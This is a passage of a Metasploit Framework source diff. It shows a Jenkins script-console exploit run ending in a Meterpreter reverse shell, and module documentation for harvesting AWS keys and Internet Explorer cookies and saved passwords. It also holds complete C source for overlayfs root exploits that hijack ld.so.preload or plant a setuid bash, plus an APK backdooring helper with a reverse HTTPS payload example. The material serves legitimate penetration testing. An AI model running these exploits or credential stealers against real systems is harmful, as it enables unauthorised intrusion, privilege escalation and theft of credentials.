PAYLOAD => windows/meterpreter/reverse_tcp
|
||||||
|
msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
|
||||||
|
LHOST => 192.168.254.132
|
||||||
|
msf exploit(jenkins_script_console) > exploit
|
||||||
|
|
||||||
|
[*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
|
||||||
|
[*] [2016.10.29-18:43:07] Checking access to the script console
|
||||||
|
[*] [2016.10.29-18:43:07] Logging in...
|
||||||
|
[*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
|
||||||
|
[*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
|
||||||
|
[*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
|
||||||
|
[*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
|
||||||
|
[*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
|
||||||
|
[*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : PWNME-PC
|
||||||
|
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||||
|
Architecture : x64 (Current Process is WOW64)
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 2
|
||||||
|
Meterpreter : x86/win32
|
||||||
|
meterpreter >
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,56 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Any system with a `shell` or `meterpreter` session.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Get a `shell` or `meterpreter` session on some host.
|
||||||
|
2. Do: ```use post/multi/gather/aws_keys```
|
||||||
|
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
|
||||||
|
4. Do: ```run```
|
||||||
|
5. If the system has readable configuration files containing AWS key material, they will be printed out.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
None.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf post(aws_keys) > run
|
||||||
|
|
||||||
|
[*] Enumerating possible user AWS config files
|
||||||
|
[*] Looking for AWS config/credentials files in /bin
|
||||||
|
[*] Looking for AWS config/credentials files in /dev
|
||||||
|
[*] Looking for AWS config/credentials files in /home/syslog
|
||||||
|
[*] Looking for AWS config/credentials files in /home/test
|
||||||
|
[*] Looking for AWS config/credentials files in /home/test ubuntu
|
||||||
|
[*] Looking for AWS config/credentials files in /home/ubuntu
|
||||||
|
[*] Looking for AWS config/credentials files in /nonexistent
|
||||||
|
[*] Looking for AWS config/credentials files in /root
|
||||||
|
[*] Looking for AWS config/credentials files in /usr/games
|
||||||
|
[*] Looking for AWS config/credentials files in /usr/sbin
|
||||||
|
[*] Looking for AWS config/credentials files in /var/backups
|
||||||
|
[*] Looking for AWS config/credentials files in /var/cache/man
|
||||||
|
[*] Looking for AWS config/credentials files in /var/cache/pollinate
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/gnats
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/landscape
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/libuuid
|
||||||
|
[*] Looking for AWS config/credentials files in /var/list
|
||||||
|
[*] Looking for AWS config/credentials files in /var/mail
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/dbus
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/ircd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/sshd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/lpd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/news
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/uucp
|
||||||
|
[*] Looking for AWS config/credentials files in /var/www
|
||||||
|
AWS Key Data
|
||||||
|
============
|
||||||
|
|
||||||
|
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
|
||||||
|
------ ----------------- --------------------- -------
|
||||||
|
/home/test/.aws/credentials BAR PRIVATE_TEST test
|
||||||
|
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
|
||||||
|
/root/.s3cfg root_key root_secret default
|
||||||
|
```
|
|
@ -0,0 +1,106 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get meterpreter session
|
||||||
|
3. Do: `use post/windows/gather/enum_ie`
|
||||||
|
4. Do: `set SESSION <session id>`
|
||||||
|
5. Do: `run`
|
||||||
|
6. You should be able to see the extracted IE browser data in the loot files
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
- **SESSION** - The session to run the module on.
|
||||||
|
|
||||||
|
## Extracted data
|
||||||
|
|
||||||
|
- History
|
||||||
|
- Cookies
|
||||||
|
- Autocomplete data
|
||||||
|
- Credentials **(only for >= IE7)**
|
||||||
|
- HTTP auth credentials
|
||||||
|
- Saved form credentials
|
||||||
|
|
||||||
|
## Example Scenario
|
||||||
|
|
||||||
|
**Using the module with an earlier version than IE7 (IE6)**
|
||||||
|
|
||||||
|
In this scenario the module won't be able to extract credential data.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(handler) > use post/windows/gather/enum_ie
|
||||||
|
msf post(enum_ie) > set SESSION 1
|
||||||
|
SESSION => 1
|
||||||
|
msf post(enum_ie) > run
|
||||||
|
|
||||||
|
[*] IE Version: 6.0.2900.5512
|
||||||
|
[-] This module will only extract credentials for >= IE7
|
||||||
|
[*] Retrieving history.....
|
||||||
|
File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
|
||||||
|
[*] Retrieving cookies.....
|
||||||
|
File: C:\Documents and Settings\user\Cookies\index.dat
|
||||||
|
[*] Looping through history to find autocomplete data....
|
||||||
|
[-] No autocomplete entries found in registry
|
||||||
|
[*] Looking in the Credential Store for HTTP Authentication Creds...
|
||||||
|
[*] Writing history to loot...
|
||||||
|
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
|
||||||
|
[*] Writing cookies to loot...
|
||||||
|
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
|
||||||
|
[*] Post module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
**Using the module with IE7+ (IE8)**
|
||||||
|
|
||||||
|
In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf exploit(handler) > use post/windows/gather/enum_ie
|
||||||
|
msf post(enum_ie) > set SESSION 1
|
||||||
|
SESSION => 1
|
||||||
|
msf post(enum_ie) > run
|
||||||
|
|
||||||
|
[*] IE Version: 8.0.7601.17514
|
||||||
|
[*] Retrieving history.....
|
||||||
|
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
|
||||||
|
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
|
||||||
|
[*] Retrieving cookies.....
|
||||||
|
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
|
||||||
|
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
|
||||||
|
[*] Looping through history to find autocomplete data....
|
||||||
|
[*] Looking in the Credential Store for HTTP Authentication Creds...
|
||||||
|
[*] Writing history to loot...
|
||||||
|
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
|
||||||
|
[*] Writing cookies to loot...
|
||||||
|
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
|
||||||
|
[*] Writing gathered credentials to loot...
|
||||||
|
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
|
||||||
|
|
||||||
|
Credential data
|
||||||
|
===============
|
||||||
|
|
||||||
|
Type Url User Pass
|
||||||
|
---- --- ---- ----
|
||||||
|
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
|
||||||
|
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
|
||||||
|
|
||||||
|
[*] Post module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
The extracted history data would in both scenarios for example look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
History data
|
||||||
|
============
|
||||||
|
|
||||||
|
Date Modified Date Accessed Url
|
||||||
|
------------- ------------- ---
|
||||||
|
2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
|
||||||
|
2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
|
||||||
|
2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
|
||||||
|
2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
|
||||||
|
2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
|
||||||
|
2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
|
||||||
|
```
|
|
@ -0,0 +1,113 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/mount.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <linux/sched.h>
|
||||||
|
|
||||||
|
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
|
||||||
|
|
||||||
|
static char child_stack[1024*1024];
|
||||||
|
|
||||||
|
static int
|
||||||
|
child_exec(void *stuff)
|
||||||
|
{
|
||||||
|
char *file;
|
||||||
|
system("rm -rf /tmp/ns_sploit");
|
||||||
|
mkdir("/tmp/ns_sploit", 0777);
|
||||||
|
mkdir("/tmp/ns_sploit/work", 0777);
|
||||||
|
mkdir("/tmp/ns_sploit/upper",0777);
|
||||||
|
mkdir("/tmp/ns_sploit/o",0777);
|
||||||
|
|
||||||
|
fprintf(stderr,"mount #1\n");
|
||||||
|
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
|
||||||
|
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
|
||||||
|
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
|
||||||
|
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
file = ".access";
|
||||||
|
chmod("/tmp/ns_sploit/work/work",0777);
|
||||||
|
} else file = "ns_last_pid";
|
||||||
|
|
||||||
|
chdir("/tmp/ns_sploit/o");
|
||||||
|
rename(file,"ld.so.preload");
|
||||||
|
|
||||||
|
chdir("/");
|
||||||
|
umount("/tmp/ns_sploit/o");
|
||||||
|
fprintf(stderr,"mount #2\n");
|
||||||
|
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
|
||||||
|
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
chmod("/tmp/ns_sploit/work/work",0777);
|
||||||
|
}
|
||||||
|
|
||||||
|
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
|
||||||
|
umount("/tmp/ns_sploit/o");
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int status, fd, lib;
|
||||||
|
pid_t wrapper, init;
|
||||||
|
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||||
|
|
||||||
|
fprintf(stderr,"spawning threads\n");
|
||||||
|
|
||||||
|
if((wrapper = fork()) == 0) {
|
||||||
|
if(unshare(CLONE_NEWUSER) != 0)
|
||||||
|
fprintf(stderr, "failed to create new user namespace\n");
|
||||||
|
|
||||||
|
if((init = fork()) == 0) {
|
||||||
|
pid_t pid =
|
||||||
|
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||||
|
if(pid < 0) {
|
||||||
|
fprintf(stderr, "failed to create new mount namespace\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
waitpid(pid, &status, 0);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
waitpid(init, &status, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(300000);
|
||||||
|
|
||||||
|
wait(NULL);
|
||||||
|
|
||||||
|
fprintf(stderr,"child threads done\n");
|
||||||
|
|
||||||
|
fd = open("/etc/ld.so.preload",O_WRONLY);
|
||||||
|
|
||||||
|
if(fd == -1) {
|
||||||
|
fprintf(stderr,"exploit failed\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr,"/etc/ld.so.preload created\n");
|
||||||
|
/*
|
||||||
|
fprintf(stderr,"creating shared library\n");
|
||||||
|
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
|
||||||
|
write(lib,LIB,strlen(LIB));
|
||||||
|
close(lib);
|
||||||
|
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
|
||||||
|
if(lib != 0) {
|
||||||
|
fprintf(stderr,"couldn't create dynamic library\n");
|
||||||
|
exit(-1);
|
||||||
|
}*/
|
||||||
|
write(fd,"/tmp/ofs-lib.so\n",16);
|
||||||
|
close(fd);
|
||||||
|
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
|
||||||
|
execl("/bin/su","su",NULL);
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,16 @@
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
uid_t(*_real_getuid) (void);
|
||||||
|
char path[128];
|
||||||
|
|
||||||
|
uid_t getuid(void){
|
||||||
|
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
|
||||||
|
readlink("/proc/self/exe", (char *) &path, 128);
|
||||||
|
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
|
||||||
|
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
|
||||||
|
setresuid(0, 0, 0);
|
||||||
|
setresgid(0, 0, 0);
|
||||||
|
execle("/bin/sh", "sh", "-i", NULL, NULL);
|
||||||
|
}
|
||||||
|
return _real_getuid();
|
||||||
|
}
|
|
@ -0,0 +1,78 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/mount.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <linux/sched.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
static char child_stack[1024*1024];
|
||||||
|
|
||||||
|
static int
|
||||||
|
child_exec(void *stuff)
|
||||||
|
{
|
||||||
|
system("rm -rf /tmp/haxhax");
|
||||||
|
mkdir("/tmp/haxhax", 0777);
|
||||||
|
mkdir("/tmp/haxhax/w", 0777);
|
||||||
|
mkdir("/tmp/haxhax/u",0777);
|
||||||
|
mkdir("/tmp/haxhax/o",0777);
|
||||||
|
|
||||||
|
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
|
||||||
|
fprintf(stderr,"mount failed..\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
chmod("/tmp/haxhax/w/work",0777);
|
||||||
|
chdir("/tmp/haxhax/o");
|
||||||
|
chmod("bash",04755);
|
||||||
|
chdir("/");
|
||||||
|
umount("/tmp/haxhax/o");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int status;
|
||||||
|
pid_t wrapper, init;
|
||||||
|
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||||
|
struct stat s;
|
||||||
|
|
||||||
|
if((wrapper = fork()) == 0) {
|
||||||
|
if(unshare(CLONE_NEWUSER) != 0)
|
||||||
|
fprintf(stderr, "failed to create new user namespace\n");
|
||||||
|
|
||||||
|
if((init = fork()) == 0) {
|
||||||
|
pid_t pid =
|
||||||
|
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||||
|
if(pid < 0) {
|
||||||
|
fprintf(stderr, "failed to create new mount namespace\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
waitpid(pid, &status, 0);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
waitpid(init, &status, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(300000);
|
||||||
|
|
||||||
|
wait(NULL);
|
||||||
|
|
||||||
|
stat("/tmp/haxhax/u/bash",&s);
|
||||||
|
|
||||||
|
if(s.st_mode == 0x89ed)
|
||||||
|
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
|
||||||
|
|
||||||
|
fprintf(stderr,"couldn't create suid :(\n");
|
||||||
|
return -1;
|
||||||
|
}
|
|
@ -133,6 +133,8 @@ module Metasploit
|
||||||
@parent.print_error(message)
|
@parent.print_error(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -51,8 +51,9 @@ class TDSSSLProxy
|
||||||
def setup_ssl
|
def setup_ssl
|
||||||
@running = true
|
@running = true
|
||||||
@t1 = Thread.start { ssl_setup_thread }
|
@t1 = Thread.start { ssl_setup_thread }
|
||||||
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
|
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
||||||
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
|
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
|
||||||
|
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
|
||||||
@ssl_socket.connect
|
@ssl_socket.connect
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
VERSION = "4.12.40"
|
VERSION = "4.13.1"
|
||||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
HASH = get_hash
|
HASH = get_hash
|
||||||
|
|
|
@ -667,6 +667,8 @@ module Auxiliary::AuthBrute
|
||||||
print_brute :level => :verror, :legacy_msg => msg
|
print_brute :level => :verror, :legacy_msg => msg
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :vprint_bad, :vprint_error
|
||||||
|
|
||||||
# Legacy vprint
|
# Legacy vprint
|
||||||
def vprint_good(msg='')
|
def vprint_good(msg='')
|
||||||
print_brute :level => :vgood, :legacy_msg => msg
|
print_brute :level => :vgood, :legacy_msg => msg
|
||||||
|
|
|
@ -326,5 +326,7 @@ class Auxiliary::Web::HTTP
|
||||||
@parent.print_error message
|
@parent.print_error message
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -228,12 +228,9 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_ssl_context
|
def generate_ssl_context
|
||||||
ctx = OpenSSL::SSL::SSLContext.new
|
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
||||||
ctx.key = OpenSSL::PKey::RSA.new(1024){ }
|
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
|
||||||
|
ctx
|
||||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
|
||||||
|
|
||||||
return ctx
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,6 +8,8 @@ module Msf::Module::UI::Message
|
||||||
super(print_prefix + msg)
|
super(print_prefix + msg)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
def print_good(msg='')
|
def print_good(msg='')
|
||||||
super(print_prefix + msg)
|
super(print_prefix + msg)
|
||||||
end
|
end
|
||||||
|
|
|
@ -4,6 +4,8 @@ module Msf::Module::UI::Message::Verbose
|
||||||
print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
|
print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :vprint_bad, :vprint_error
|
||||||
|
|
||||||
# Verbose version of #print_good
|
# Verbose version of #print_good
|
||||||
def vprint_good(msg='')
|
def vprint_good(msg='')
|
||||||
print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
|
print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
|
||||||
|
|
|
@ -19,6 +19,8 @@ class Msf::Payload::Apk
|
||||||
$stderr.puts "[-] #{msg}"
|
$stderr.puts "[-] #{msg}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
alias_method :print_bad, :print_error
|
||||||
|
|
||||||
def usage
|
def usage
|
||||||
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
||||||
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
||||||
|
@ -75,17 +77,23 @@ class Msf::Payload::Apk
|
||||||
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||||
|
|
||||||
manifest = original_manifest.xpath('/manifest')
|
|
||||||
old_permissions = []
|
old_permissions = []
|
||||||
for permission in original_permissions
|
original_permissions.each do |permission|
|
||||||
name = permission.attribute("name").to_s
|
name = permission.attribute("name").to_s
|
||||||
old_permissions << name
|
old_permissions << name
|
||||||
end
|
end
|
||||||
for permission in payload_permissions
|
|
||||||
|
application = original_manifest.xpath('//manifest/application')
|
||||||
|
payload_permissions.each do |permission|
|
||||||
name = permission.attribute("name").to_s
|
name = permission.attribute("name").to_s
|
||||||
unless old_permissions.include?(name)
|
unless old_permissions.include?(name)
|
||||||
print_status("Adding #{name}")
|
print_status("Adding #{name}")
|
||||||
original_permissions.before(permission.to_xml)
|
